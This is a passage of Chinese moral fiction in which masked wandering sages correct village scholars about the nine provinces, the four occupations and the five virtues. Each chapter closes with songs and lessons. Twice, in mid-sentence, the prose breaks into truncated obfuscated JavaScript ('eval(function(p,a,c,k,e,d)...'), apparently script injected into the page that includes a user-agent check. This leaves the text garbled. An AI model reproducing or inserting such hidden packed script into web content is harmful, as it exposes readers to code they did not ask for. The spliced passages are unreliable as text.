说罢，他戴上斗笠，走入人群，白衣飘飘，转瞬不见。 一、 贾通今的悔悟 制度宜之走后，贾通今在槐树下呆立良久。他展开两卷舆图，细细对观，越看越心惊。 《禹贡九州图》上，九州之分，依山川形便，且标注各地物产利弊，分明是为便民利民而设。《行省舆图》上，行省之分，虽亦依山川，却只标疆界地名，不见民生利弊。 “我卖弄浅识二十年啊！” 他想起自己这些年，只知背诵“古九州，今改制，称行省，三十五”，以此在人前卖弄，博个“百事通”的名头。至于改制为何，行省何为，民生何如，从未深究。别人问起，便以“朝廷圣明”、“治理便利”搪塞。若有质疑，便斥为“无知”。 “那位先生说得好，改制为民，行省便民。我只知治民，不知便民，岂非本末倒置？” 他羞愧难当，当即将两卷舆图悬于槐树下，对围观未散的众人深揖一礼。 “贾某浅薄，误人误己。从今日起，贾某当闭门思过，研习改制民生之理，再不妄言！” 众人见他诚恳，便劝道：“贾先生知错能改，善莫大焉。只是这舆图，咱们也想看看。” 贾通今便道：“舆图在此，列位可随意观览。贾某每日在此讲解，与列位共学！” 从此，每逢市集，贾通今便在槐树下悬图讲解。他不再卖弄“第一等大省”，而是讲解九州改制之由、行省便民之要。他结合平阳镇实际，讲赋税、讲道路、讲讼狱、讲民生。 “列位看，古时冀州，咱们这儿属冀州。冀州平原，宜农耕，故禹王划九州时，以此地为重农之所。今时河东行省，亦当重农。然咱们赋税重，农人苦，此非改制本意。” “行省之设，本当酌情减免赋税，鼓励农耕。若只知收税，不知纾困，则行省何用？” “道路难行，本当修桥铺路，便利交通。若只知设关卡，收路税，则道路何通？” “讼狱难打，本当简化章程，公正断案。若只知设衙门，收讼费，则讼狱何清？” 他讲得实在，众人听得入心。有那受过赋税之苦、道路之难、讼狱之累的，纷纷诉苦。贾通今一一记下，道：“这些难处，当想法解决。咱们虽是小民，亦可知理，可建言。改制为民，咱们民不提，谁提？” 众人称是。贾通今又在槐树下立了块木牌，上书：“古九州，今改制，称行省，三十五。改制在便民，行省在利民。民不提，改制虚；民不便，行省空。” 二、 百姓的醒悟 贾通今在槐树下讲改制、讲民生，平阳镇的百姓渐渐醒悟。 从前，他们只知行省府县，是管他们的。缴粮纳税，是因行省府县有这规矩；服役当差，是因行省府县有这要求；打官司告状，得按行省府县的章程。至于行省为何设，府县为何立，改制为何行，他们不知，也不想知。 如今，他们明白了：改制是为便民，行省是为利民。缴粮纳税，是为修路架桥、兴学助教；服役当差，是为保境安民、维护公正；打官司告状，是为申冤理枉、安定民生。若只收粮税而不修路，只征役差而不安民，只设衙门而不理枉，则改制是虚，行省是空。 “原来改制是这个理！” “怪不得贾先生常说‘民不提，改制虚；民不便，行省空’，咱们不提不便，谁管？” “往后缴粮纳税，得问问这粮税用在哪了；服役当差，得问问这役差为的啥；打官司告状，得问问这章程合不合理。” 有那胆大的，真去县衙问粮税用途、问役差缘由、问章程合理与否。县衙胥吏起初不悦，但问的人多了，也只得解释。有些解释不清的，便上报府衙。府衙亦不敢怠慢，因民生之事，最易生变。 渐渐地，平阳县的粮税，有了明细；役差，有了说法；章程，有了公示。虽未尽善，但较之从前，已透明许多。 百姓们又聚在槐树下商议：“咱们平阳镇，有啥特产？有啥便利？有啥难处？” “特产是麦和枣。便利嘛……离河近，灌溉便。难处嘛，赋税还是重，路还是难走，官司还是难打。” “特产得卖出去，才能换钱。路难走，特产运不出去，咋办？” “咱们自己修路！贾先生不是说，改制为民，民可自为？” “对！咱们自己修路！赋税重，咱们一起上书，请减免！” “官司难打，咱们一起议个章程，请县衙采纳！” 众人说干就干。修路的修路，上书的的上书，议章程的议章程。虽艰难，但有了方向，有了劲头。 贾通今在槐树下，将众人所议记录下来，成《平阳民生三事》：一曰减赋税，二曰修道路，三曰简章程。他携此册，奔走于县衙、府衙之间，为民请命。 府县官员见民情汹汹，且所请合理，不敢轻视。经数月周旋，终有所成：赋税酌情减免，道路拨款修缮，章程部分简化。 消息传回，平阳镇欢声雷动。百姓们聚在槐树下，谢贾通今，更谢那位制度宜之先生。 “若非制度先生点破改制之本，咱们还在糊涂呢！” “是啊，改制为民，行省便民。咱们不提，谁提？咱们不为，谁为？” “往后啊，咱们得知改制，知行省，更得知民生，行实事！” 三、 舆图的流传 贾通今为民请命之事，渐传周边。附近乡镇的百姓，闻讯来平阳镇取经。贾通今便将《禹贡九州图》与《行省舆图》借出传抄，更将《平阳民生三事》册子广为散发。 “改制为民，行省便民。此理通行天下。” “咱们百姓，得知改制之本，方不受治；知行省之要，方不被治。” “民生三事，各地不同，但理同：减赋税，修道路，简章程。此乃便民利民之要。” 抄图者、传册者，回去后亦在本地宣讲。有那开明的乡绅，亦加入其中。一时间，“改制为民，行省便民”之理，传遍河东。 有那地方官员，闻知此理，亦有所悟。有那开明的，便主动减免赋税，兴修道路，简化章程；有那保守的，见民情如此，亦不敢肆意妄为。 制度宜之的名声，渐渐在河东传开。都说有位戴竹篾斗笠、蒙葛布的高人，精通改制，点破迷障，使人明“改制为民”之理，知“行省便民”之要。 四、 三年后的市集 三年后的一个市集日，槐树下又围满了人。不仅有平阳镇的百姓，还有周边乡镇的乡民。 贾通今正在讲解“古九州，今改制”。 “……故曰：改制之要，在宜民。行省之设，在便民。古时九州，依山川形便，宜各地之民。今时行省，亦当如是。咱们河东行省，产麦产枣，当重农重商；水陆要冲，当重修路通河；民风淳朴，当重教化简讼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好。”制度宜之点头，“知改制为民，则不受虚治；知行省便民，则不被空治；知民生可自为，则不行坐等。此乃百姓之智，民生之福。” 他又问：“然改制之行，行省之设，终是上方之事。百姓知之，可矣；百姓为之，可嘉。但需切记：改制在宜，不在多；行省在便，不在繁。若改制过多，行省过繁，反成扰民。此理亦当明。” 众人肃然。贾通今道：“先生所言极是！咱们但求便民，不务虚名；但求利民，不贪多繁。” 制度宜之从怀中取出一卷书，递给贾通今：“此乃《改制民生鉴》，是我游历各地，记录改制得失、民生利弊所编。你可传抄于众，供百姓参考。” 贾通今双手接过，如获至宝。 制度宜之又对众人道：“此书可参阅，但需切记：各地改制不同，民生各异。此书所录，只一时一地之得。他日若遇改制之行，当以宜民为本，以便民为要，莫要拘泥成例。” 众人齐声道：“谨记先生教诲！” 制度宜之拱手告辞。贾通今急问：“先生此番何往？” “四方游历，看人论改制、谈行省。”制度宜之道，“看人是重治民，还是重便民；是务虚名，还是务实事。” “先生还会回来么？” “等你们又只知改制之名，不知便民之实；只知行省之数，不知利民之要的时候，我大概就会回来。” 他走了，竹篾斗笠在市集的人流中，时隐时现。粗麻白衣的下摆，扫过尘土，不染一尘。 贾通今对着那背影深深一揖，久久不起。 百姓们也纷纷作揖。 尾声·改制谣 多年后，平阳镇的孩童玩耍时，会唱一首童谣： 古九州，今改制，称行省，三十五。 改制本为民，行省本便民。 贾生卖弄不知本，制度先生来点明。 民生三事减修简，百姓自为克艰难。 从此平阳气象新，改制便民利万民。 舆图不画疆界线，只标民生利与难。 百姓知制亦知行，不行坐等不虚谈。 有外乡人听了，问镇里老人：“这制度先生是何人？” 老人便会指着市集中央的老槐树说：“是位教人明改制、知行省的先生。他来了，贾先生知错了，百姓醒悟了，咱们镇知道改制为民、行省便民了。” “他现在何处？” “不知道。教完道理，他就走了。” “还会回来么？” “等咱们又只知改制之名，不知便民之实的时候，他大概就会回来吧。” 外乡人若有所思，走到槐树下。树上悬着《河东民生舆图》，图旁木牌上刻着那十二字：“古九州，今改制，称行省，三十五。”下面还有一行小字：“改制在便民，行省在利民。民不提，改制虚；民不便，行省空。” 也许那位制度先生，正在某个地方，看人论改制、绘舆图吧。他想。 他走出市集，夕阳西下。百姓们收拾货摊，说笑归家。改制之事，看似宏大，实则就在这柴米油盐、道路章程之中。 本章诫世 一、 改制真义训 - 古九州，今改制，称行省，三十五 - 破解法：为民者，自问“可知改制之本？知行省之要？可知便民利民？可曾盲从虚名？”；为士者，自问“可卖弄改制？可空谈行省？可知民生利弊？可曾务实便民？” 二、 三谬三正 - 贾通今之谬在“卖弄”——只知改制之名，不知便民之实 - 舆图之谬在“空泛”——只标疆界地名，不标民生利弊 - 百姓之谬在“盲从”——只知行省治民，不知便民利民 - 三正：贾通今明改制便民，百姓知行省利民，平阳务民生实事 三、 宜之大道 - 深层隐喻：改制更迭，行省设立，本为便民利民。然世人多重其名，不重其实；多言治民，少言便民。改制之要，在宜不在更；行省之要，在便不在设。宜民便民，方是改制之本、行省之要 - 终极指向：世事更迭，制度变迁，当以宜民便民为衡。民便则制善，民宜则制行。若制不便民，虽名目繁复，亦是虚文；若制宜民，虽简朴无华，亦是善政。百姓知之，则不受虚治；百姓行之，则不坐等空谈 改制偈： 平阳镇里贾通今，卖弄改制不知本。 只知行省三十五，不知便民利民生。 制度先生来点化，改制在便民为本。 舆图不画疆界线，只标民生利与难。 从此百姓明改制，便民利民自为生。 后世叹： 古九州，今改制，称行省，三十五。 贾生卖弄不知本，百姓盲从受虚治。 制度先生来点化，改制便民是本真。 三年民生自为计，平阳气象焕然新。 正是： 平阳市集槐树下，贾生妄谈改制名。 只知行省三十五，不知便民利民生。 制度先生来点破，改制在便民为本。 舆图重绘民生事，百姓自为克艰难。 从此改制不再虚，行省便民利万民。 101.四民谳 楔子·庙会高论 临江镇有座城隍庙，每逢初一十五有庙会。这日正值十五，庙前广场人山人海，杂耍卖艺、小吃百货琳琅满目。广场东角有棵大榆树，树下常有些闲人谈天说地。 今日榆树下格外热闹，一个穿绸袍、摇折扇的中年人正在高谈阔论。此人姓“高”，名“论民”，是镇上“文会”的会首，以博学善辩闻名。 高论民手执折扇，指点四方：“……故曰：士农工商，此四民，国之良！列位可知，为何此四民是国之良？” 围观的多是些市井百姓，有卖菜的、打铁的、开店的、行脚的，纷纷摇头。 “这都不明？”高论民摇扇笑道，“士者，读书明理，为官治民，乃国之栋梁；农者，耕田种地，产粮供食，乃国之根本；工者，制器造物，便利民生，乃国之巧匠；商者，流通货殖，互通有无，乃国之血脉。此四民各司其职，各安其业，则国泰民安，岂非国之良？” 众人点头称是。卖菜的王老憨挠头道：“高先生说得是，咱们种菜的、卖菜的，也是国之良？” “自然是良！”高论民用扇子点着王老憨，“你是农，种菜供食，是国之根本；他，”又点着旁边打铁的李铁匠，“是工，打铁制器，是国之巧匠；他，”再点着对面开布庄的赵掌柜，“是商，贩布流通，是国之血脉。皆是国之良民！” 李铁匠憨笑：“原来咱们打铁的，也是国之良。” 赵掌柜拱手：“高先生高见。” 高论民更得意了：“然此四民，亦有贵贱尊卑。士为首，农次之，工再次，商为末。此乃圣人定序，天经地义。故士子当苦读，以求功名；农夫当勤耕，以供粮米；工匠当精艺，以制器物；商贾当守信，以通货殖。各守本分，各尽其责，方是四民之道。” 这时，人群中响起一个清朗的声音：“此言差矣。” 众人望去，见说话的是个戴斗笠、蒙面纱、穿白衣的外乡人。那斗笠是用蒲草与竹篾混编的，边缘缀着几缕风干的蓼草。白衣是细麻所制，已洗得泛黄，腰间用麻绳系一柄木剑。面纱是粗葛布，遮住了大半张脸，只露出一双沉静的眼睛。 高论民皱眉：“这位兄台，差在何处？” “士农工商，此四民，国之良。”那人缓缓念出这十二字，声音平稳，“此话不错。但高先生说四民有贵贱尊卑，士为首，商为末，却是错了。” “错了？”高论民不悦，“士农工商，自古如此排序，岂会有错？” “排序不差，贵贱之差却是谬误。”那人走出人群，对众人拱手，“列位乡邻，士农工商，皆是国之良民，何来贵贱？士子读书明理，是为治学；农夫耕田种地，是为产粮；工匠制器造物，是为便利；商贾流通货殖，是为互通。四民各有所长，各有所用，皆是国之所赖，民之所需，何分贵贱？” 众人窃窃私语。高论民面红耳赤：“圣人云：‘士农工商，国之四民。’既分四等，自有尊卑！” “圣人只说四民，未言贵贱。”那人道，“高先生所引，乃后人妄解。敢问高先生，若无农夫种粮，士子何食？若无工匠制器，农夫何耕？若无商贾流通，工匠所制器物、农夫所产粮米，如何互通有无？四民相需，缺一不可，岂可强分贵贱？” 高论民语塞。 那人又问众人：“列位以为，种粮的农夫，与制器的工匠，孰贵孰贱？” 王老憨憨笑：“都一样，都一样。我种菜，李铁匠打铁，赵掌柜卖布，都是干活吃饭。” 李铁匠点头：“是啊，没我打的锄头，王老憨咋种菜？没赵掌柜卖布，咱们穿啥？” 赵掌柜也道：“没王老憨种的菜，咱们吃啥？没李铁匠打的锅，咱们咋做饭？都一样的。” 那人点头：“正是。四民相需，本无贵贱。强分贵贱，是见高不见低，见首不见尾，谬矣。” 高论民强辩道：“纵无贵贱，也有本末！士农为本，工商为末，此乃圣人之教！” “本末之论，亦是谬误。”那人从怀中取出一卷发黄的古籍，展开示众，“此乃《管子》，管子有云：‘士农工商四民者，国之石民也。’石民者，柱石之民，皆是国之根本，何来本末？管子又云：‘四民分业而居，则国治。’分业而居，各安其业，各尽其能，如此而已，何曾言本末？” 众人围观，果见古籍有载。 高论民冷汗涔涔，仍强撑道：“纵……纵是柱石，也有主次！” “主次可分，贵贱不可分；先后可分，尊卑不可分。”那人收起古籍，正色道，“国之大事，农为先，因民以食为天；工为次，因器以利其用；商为通，因货以畅其流；士为导，因学以明其理。此是先后之用，非贵贱之别。若强分贵贱，则农工自卑，商贾自贱，士子自矜，四民相轻，岂是国之福？” 他转向高论民：“高先生是文会会首，当是士子。敢问高先生，可曾耕田？” “不……不曾。” “可曾打铁？” “不曾。” “可曾行商？” “不曾。” “既不曾耕田打铁行商，何以轻农贱工鄙商？若无农，先生何食？若无工，先生何衣何住？若无商，先生何来书籍纸墨？先生今日所穿绸袍，所执折扇，所立之地，所食之米，哪一样不是农工商所供？既受其供，又轻其人，岂非忘本？” 高论民面如死灰，无言以对。 众人哗然。有那明白的，叹道：“这位先生说得是！咱们种地的、打铁的、卖货的，都是凭本事吃饭，凭啥低人一等？” “是啊，读书人是聪明，可没咱们种地，他们吃啥？没咱们打铁，他们用啥？没咱们卖货，他们穿啥？” “原来四民都是一样的，都是国之良！” 那人拱手道：“今日多言，望列位明理：士农工商，皆是国之良民，各有所长，各有所用，本无贵贱。士子当敬农重工恤商，农工当尊士重学知商，商贾当敬士重农贵工。四民相敬，各安其业，各尽其能，方是国之良，民之福。” 说罢，他转身欲走。 “先生留步！”高论民忽然深揖一礼，“先生一席话，振聋发聩。高某坐井观天，妄分贵贱，贻笑大方。敢问先生高姓大名？” “我姓民，名本，字同之。” “民本同之……”高论民喃喃，忽问，“先生这《管子》，可否借我一观？” “可。”民本同之递过古籍，“此书可传阅，然需切记：四民皆本，无分贵贱。士农工商，相需相成，缺一不可。” 高论民双手接过，如获至宝。 民本同之又对众人道：“道理在此，列位可思可辩。然需切记：口说无凭，行事为真。四民相敬，当在平日言行，不在口头虚言。” 说罢，他戴上斗笠，走入人群，白衣飘飘，转瞬不见。 一、 高论民的悔悟 民本同之走后，高论民在榆树下呆立良久。他展开《管子》，细读“四民者，国之石民”之句，又读“四民分业而居，则国治”之言，越读越心惊。 “我妄自尊大二十年啊！” 他想起自己身为文会会首，常以士子自矜，轻农贱工鄙商。见农夫，嫌其粗鄙；见工匠，嫌其低贱；见商贾，嫌其铜臭。以为唯有读书人最高，其余皆等而下之。 “那位先生说得好，四民相需，缺一不可。我今日所食之米，是农人所种；所穿之衣，是工所织、商所贩；所住之屋，是工所建；所读之书，是工所印、商所售。我受四民之供，却轻四民之人，岂非忘本？” 他羞愧难当，当即将《管子》悬于榆树下，对围观未散的众人深揖一礼。 “高某妄自尊大，误人误己。从今日起，高某当闭门思过，研习四民相需之理，再不妄分贵贱！” 众人见他诚恳，便劝道：“高先生知错能改，善莫大焉。只是这道理，咱们还想听。” 高论民便道：“《管子》在此，列位可随意观览。高某每日在此讲解，与列位共学！” 从此，每逢庙会，高论民便在榆树下讲解四民之道。他不再说“士为首，商为末”，而是讲解四民相需、各有所长。他结合临江镇实际，讲士子、农夫、工匠、商贾如何各尽其能，如何相需相成。 “列位看，咱们临江镇，有读书人，有种田人，有手艺人，有买卖人。读书人明理，可教子弟，可解纠纷；种田人产粮，可饱肚腹，可供赋税；手艺人制器，可利耕种，可便生活；买卖人流通，可货有无，可促繁荣。四民各有所长，各有所用，皆是镇之良民，岂可分贵贱？” 他讲得实在，众人听得入心。有那常被轻贱的工匠、商贾，眼圈泛红。 “原来咱们打铁的，也是国之良民！” “咱们卖布的，也是国之血脉！” “读书人聪明，可没咱们，他们吃啥穿啥？” 高论民又道：“四民相需，当相敬。读书人当敬农人辛劳，重工匠精巧，恤商贾奔波；农人当敬读书人明理，重工匠制器，知商贾流通；工匠当敬读书人学问，重农人勤劳，贵商贾货殖；商贾当敬读书人清高，重农人本分，贵工匠技艺。如此相敬，方是四民之道。” 众人称是。高论民又在榆树下立了块木牌，上书：“士农工商，此四民，国之良。四民相需，无贵贱；四民相敬，各尽能。” 二、 四民的醒悟 高论民在榆树下讲四民相需、无分贵贱，临江镇的四民渐渐醒悟。 从前，士子自觉高人一等，见农工商，多带轻蔑；农人自觉低人一头，见士子，多带敬畏；工匠自觉卑微，见士农，多带谦卑；商贾自觉轻贱，见士农工，多带讨好。四民之间，虽有往来，却隔着一层贵贱尊卑的膜。 如今，他们明白了：四民皆是国之良民，各有所长，各有所用，本无贵贱。士子读书明理，农人耕田产粮，工匠制器便利，商贾流通货殖，皆是本分，皆是贡献。 “原来咱们都是一样的！” “是啊，都是凭本事吃饭，凭啥分高低？” “往后啊，读书的别瞧不起种田的，种田的也别怕读书的；打铁的别自卑，卖布的也别讨好。各干各的，互相敬着，才是正理。” 有那开明的士子，开始主动与农工商交往。见农人，问收成辛苦；见工匠，问技艺巧拙；见商贾，问行情起伏。农人工匠商贾，也敢与士子平等交谈，说农事，论手艺，谈买卖。 镇东头的张秀才，从前见人总端着架子，如今常去王老憨的菜摊买菜，与王老憨聊农时雨水。王老憨起初拘谨，后来也敢说：“张秀才，你们读书人脑子灵，帮我算算这笔账。” 镇西头的李铁匠，从前见读书人总低头哈腰，如今敢与张秀才论铁器火候。张秀才赞他手艺精，他憨笑：“混口饭吃，混口饭吃。” 镇南头的赵掌柜，从前见读书人总想巴结，如今敢与张秀才论行情利弊。张秀才说：“赵掌柜走南闯北，见识广。”赵掌柜摆手：“瞎跑，瞎跑。” 四民间那层膜，渐渐薄了，渐渐透了。 有那大事，四民也共商。修桥，士子出谋划策，农人出工出力，工匠出技施工，商贾出资出料。办学，士子任教，农人供粮，工匠制桌椅，商贾捐书籍。四民合力，其利断金。 高论民在榆树下，将四民合力之事一一记录，成《临江四民纪事》。他携此册，奔走于文会、行会之间，倡导四民相敬、各尽所能。 文会士子见高论民变了，也渐改前非。行会工匠、商贾，见士子诚心，也渐敞心扉。四民间，不再有那莫名的轻贱与敬畏，多了平等的相需与相敬。 三、 《管子》的流传 高论民倡四民相敬之事，渐传周边。附近乡镇的士农工商，闻讯来临江镇取经。高论民便将《管子》借出传抄，更将《临江四民纪事》广为散发。 “四民皆是国之良，无分贵贱。此理通行天下。” “咱们士农工商，当相敬相需，各安其业，各尽其能。” “临江纪事，可供参考。但各地民情不同，当因地制宜。” 抄书者、传册者，回去后亦在本地宣讲。有那开明的乡绅、会首，亦加入其中。一时间，“四民相需，无分贵贱”之理，传遍州县。 有那固执的士子，初闻此理，不以为然。但见四民合力，实事频成，也渐改观念。有那自卑的农工商，初闻此理，不敢置信。但见士子诚心，也渐挺直腰杆。 民本同之的名声，渐渐在州县传开。都说有位戴蒲草斗笠、蒙葛布的高人，明辨四民，点破迷障，使人明“四民皆本”之理，知“相需相敬”之要。 四、 三年后的庙会 三年后的一个庙会日，榆树下又围满了人。不仅有临江镇的四民，还有周边乡镇的士农工商。 高论民正在讲解“士农工商，国之良”。 “……故曰：四民相需，缺一不可。士者，国之导，导人以理；农者，国之本，本以食天；工者，国之巧，巧以利民；商者，国之脉，脉以通物。四民各有所长，各有所用，皆是柱石，岂可分贵贱？” 他指着榆树下悬着的《管子》与《临江四民纪事》，道：“列 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他转向众人：“列位当谨记：为士者，当以明理导人，非以清高凌人；为农者，当以勤劳立身，非以卑下屈人；为工者，当以精巧利人，非以低贱卑己；为商者，当以诚信待人，非以铜臭媚人。四民各守其德，各尽其业，方是良民。” 众人齐声道：“谨记先生教诲！” 民本同之从怀中取出一卷书，递给高论民：“此乃《四民通义》，是我游历各地，记录四民贤愚、业德之鉴所编。你可传抄于众，供四民参考。” 高论民双手接过，如获至宝。 民本同之又对众人道：“此书可参阅，但需切记：四民之道，在行不在言。口说相敬，不如行事相敬；口说合力，不如实事合力。四民皆良，良在行，不在名。” 说罢，他戴上斗笠，走入庙会人群。蒲草斗笠在夕阳下，泛着温暖的光。粗麻白衣的下摆，扫过尘土，不染一尘。 高论民对着那背影深深一揖，久久不起。 四民们也纷纷作揖。 尾声四民谣 多年后，临江镇的孩童玩耍时，会唱一首童谣： 士农工商四民良，各有所长各所长。 高生妄分贵与贱，民本先生来点详。 四民相需无高下，合力修桥办学堂。 从此临江气象新，四民相敬乐安康。 为士明理不凌人，为农勤劳不屈身。 为工精巧不卑己，为商诚信不媚人。 有外乡人听了，问镇里老人：“这民本先生是何人？” 老人便会指着城隍庙前的榆树说：“是位教人明四民、知相需的先生。他来了，高先生知错了，四民醒悟了，咱们镇知道四民皆良、无分贵贱了。” “他现在何处？” “不知道。教完道理，他就走了。” “还会回来么？” “等咱们又分贵贱、相轻相鄙的时候，他大概就会回来吧。” 外乡人若有所思，走到榆树下。树上悬着《管子》与《临江四民纪事》，木牌上刻着那十二字：“士农工商，此四民，国之良。”下面还有一行小字：“四民相需，无贵贱；四民相敬，各尽能。” 也许那位民本先生，正在某个地方，看人论四民、行相敬吧。他想。 他走出庙会，夕阳西下。卖菜的收摊，打铁的熄火，掌柜的上板，士子归家。四民之业，看似有别，实则在这炊烟灯火中，早已相融。 本章诫世 一、 四民真义训 - 曰士农，曰工商。此四民，国之良 - 破解法：为士者，自问“可轻农贱工鄙商？可知四民相需？可曾相敬？”；为农工商者，自问“可自卑自贱？可知各有所长？可曾自尊自重？” 二、 三谬三正 - 高论民之谬在“妄分贵贱”——以士为首，轻农贱工鄙商 - 世俗之谬在“盲从尊卑”——士自矜，农自卑，工自贱，商自媚 - 四民之谬在“相轻相鄙”——士轻农工商，农畏士鄙工商，工贱士农媚商，商媚士农贱工 - 三正：高论民倡四民相需，四民明无贵贱，临江行相敬合力 三、 同之大道 - 深层隐喻：士农工商，皆是国之柱石，民之根本。各有所长，各有所用，相需相成，缺一不可。强分贵贱，则四民相轻；妄别尊卑，则各业相鄙。四民之道，在相敬非相轻，在相需非相斥，在合力非相抵 - 终极指向：世人从业，本无贵贱。士以学明理，农以耕养民，工以艺利人，商以通便民，皆是本分，皆是贡献。敬人者，人恒敬之；重人者，人恒重之。四民相敬，则业兴事成；四民相轻，则业衰事废。人之处世，当敬人敬业，自重自尊 四民偈： 临江镇上高论民，妄分四民贵贱等。 士首商末谬论传，四民相轻难同心。 民本先生来点化，四民相需皆柱石。 从此相敬各尽力，修桥办学事竟成。 后世叹： 曰士农，曰工商，此四民，国之良。 高生妄分贵贱等，四民相轻难同心。 民本先生来点化，四民相需无卑尊。 三载相敬合力事，临江气象焕然新。 正是： 城隍庙会榆树下，高生妄论四民道。 士首商末分贵贱，四民相轻难同心。 民本先生来点破，四民相需皆柱石。 从此临江气象新，相敬合力事竟成。 102.五常谳 楔子·祠堂谬训 清河镇有座老祠堂，每逢初一十五，镇中学塾的夫子便会在此开讲，教化乡民。这日正值初一，祠堂天井里已坐满了人。当中摆一张方桌，桌后端坐着镇上“德高望重”的耆老——姓“常”，名“守礼”，是镇里公认最“明礼”的先生。 常守礼年过花甲，须发皆白，手持一卷《礼经》，正襟危坐，声音洪亮：“……故曰：仁义礼智信，此五常，不容紊！列位可知，何谓五常？” 众人多是镇中百姓，有开茶馆的、卖豆腐的、做木工的、跑脚力的，纷纷摇头。 “这都不知？”常守礼将《礼经》置于桌上，捋须道，“仁者，爱人；义者，宜也；礼者，仪也；智者，明也；信者，诚也。此五者，人之常行，如日月星辰，不可紊乱。为人处世，当以仁为本，以义为则，以礼为规，以智为用，以信为诺。此乃圣人之教，万世之基！” 众人点头称是。开茶馆的刘掌柜问道：“常老先生，咱们寻常百姓，该如何守这五常？” “问得好！”常守礼赞道，“仁，便是要爱人。见人饥寒，当施粥赠衣；见人危难，当伸手相救。义，便是要守宜。该做的事，当仁不让；不该做的事，分毫不取。礼，便是要守仪。长幼有序，男女有别，尊卑有等，不可僭越。智，便是要明理。明是非，辨善恶，知进退。信，便是要守诺。言出必践，一诺千金。” 他顿了顿，环视众人：“此五常，人人当守，时时当守，处处当守。守之则为人，违之则为禽兽！” 众人凛然。做木工的王木匠憨厚笑道：“常老先生说得是，咱们做人，就得守仁义礼智信。” “正是！”常守礼道，“譬如你王木匠，做桌椅要实在，不可偷工减料，这便是信；见邻里困难，当搭手相助，这便是仁；该收的工钱收，不该收的分文不取，这便是义；见长者要敬，见幼者要爱，这便是礼；活计要精，心思要巧，这便是智。五常俱备，方是良民！” 王木匠被夸得满脸通红，连连点头。 这时，祠堂门外传来一个清朗的声音：“此言谬矣。” 众人望去，见门外立着一人。斗笠是用芦苇与细竹混编的，檐边垂着几缕风干的蒲草。白衣是粗麻所制，洗得发白，袖口肘部打着整齐的补丁。腰间系一柄木剑，剑柄缠着褪色的青布。脸上蒙着葛布面纱，只露出一双澄澈如秋水的眼睛。 常守礼眉头一皱：“这位兄台，谬在何处？” “仁义礼智信，此五常，不容紊。”那人缓步走入天井，声音平和，“此话不错。但常老先生说‘守之则为人，违之则为禽兽’，却是谬了。” “谬了？”常守礼不悦，“五常乃人伦之基，违之岂非禽兽？” “五常是人伦，非是枷锁。”那人对众人拱手，“列位乡邻，仁者爱人，不错。然爱人亦有道，不可滥爱。见人饥寒，施粥赠衣，是仁；然若自身不保，强施于人，是愚仁。见人危难，伸手相救，是仁；然若不量力而行，是妄仁。仁当有度，有度方为真仁。” 众人窃窃私语。常守礼面沉似水：“那义又如何？” “义者宜也，不错。”那人道，“然宜与不宜，当审时度势。该做的事，当仁不让，是义；然若时机不宜，强行而做，是鲁义。不该做的事，分毫不取，是义；然若情势所迫，权宜而为，是权义。义当有变，有变方为真义。” “礼呢？”常守礼声音渐冷。 “礼者仪也，不错。”那人道，“然仪是表，心是本。长幼有序，不错，然序在心敬，非在形拘。男女有别，不错，然别在体异，非在分贵。尊卑有等，不错，然等在德高，非在位尊。礼当有实，有实方为真礼。若只重形式，不重本心，是虚礼；若只重尊卑，不重德能，是腐礼。” 常守礼额角见汗：“智又当如何？” “智者明也，不错。”那人道，“然明是非，亦须知变通。是者是，然是中有非；非者非，然非中有是。善者善，然善中有恶；恶者恶，然恶中有善。进宜进，然进中有退；退宜退，然退中有进。智当有辨，有辨方为真智。若一味执是，是愚智；若一味执进，是莽智。” “那信呢？”常守礼声音已颤。 “信者诚也，不错。”那人道，“然一诺千金，亦须知权变。言出必践，是信；然若所诺非宜，强践是愚信。诺当有度，有度方为真信。若为守诺而害人害己，是妄信；若为守诺而悖理违情，是痴信。” 他转向常守礼：“常老先生，五常是常，非常死。仁有度，义有变，礼有实，智有辨，信有权。若将五常奉为铁律，不容丝毫紊乱，则是以常缚人，以德杀人。此非圣人之教，乃腐儒之见。” 常守礼面色发白，强撑道：“你……你妄解圣教！五常乃天地至理，岂容变通？” 那人摇头：“天地尚可变，四时且有更，何况人伦？圣人制五常，是为导人向善，非为缚人手足。仁而无度，是滥；义而无变，是僵；礼而无实，是虚；智而无辨，是愚；信而无权，是痴。此五者，是谓‘五常之蔽’。” 他从怀中取出一卷古旧的竹简，展开示众：“此乃《礼记》残篇，有云：‘礼，时为大。’又云：‘义者，宜也。宜者，时中也。’礼以时为重，义以时宜为中。仁、智、信，亦当如是。五常当合时宜，当有变通，岂可死守？” 众人围观，果见竹简上有此语。 常守礼踉跄一步，跌坐椅上，喃喃道：“时为大……时宜……难道我错了？” 众人哗然。有明白的，叹道：“这位先生说得是！仁得有度，不能滥施。前年闹饥荒，李善人把自家粮全施了，结果自家饿死三口，这不是愚仁么？” “义得有变。去年王二狗见义勇为，赤手空拳斗三个持刀匪徒，结果被砍成重伤，这不是鲁义么？” “礼得有实。咱们镇东赵老爷，见人就讲礼，可背地里欺男霸女，这不是虚礼么？” “智得有辨。孙秀才读死书，见人偷东西，就说‘窃钩者诛’，可那人是为救病母，这不是愚智么？” “信得有权。周掌柜答应三日交货，可原料断了，硬要赶工，结果出次品赔光家底，这不是痴信么？” 那人点头：“正是。五常是好，然需有度、有变、有实、有辨、有权。若死守字面，不知变通，反成其害。” 他转向常守礼：“常老先生教人守五常，是善心。然以五常为铁律，不容丝毫紊乱，是过矣。仁而无度，反成害仁；义而无变，反成害义；礼而无实，反成害礼；智而无辨，反成害智；信而无权，反成害信。此非导人向善，是陷人于阱。” 常守礼冷汗涔涔，无言以对。 那人拱手道：“今日多言，望列位明理：仁义礼智信，此五常，是好。然常是常道，非常死。仁当有度，义当有变，礼当有实，智当有辨，信当有权。守常而不泥常，执德而不拘德，方是圣人之教，人伦之真。” 说罢，转身欲走。 “先生留步！”常守礼颤巍巍起身，深揖一礼，“先生一席话，如暮鼓晨钟。老朽食古不化，以常杀人，误人误己。敢问先生高姓大名？” “我姓常，名道，字化之。” 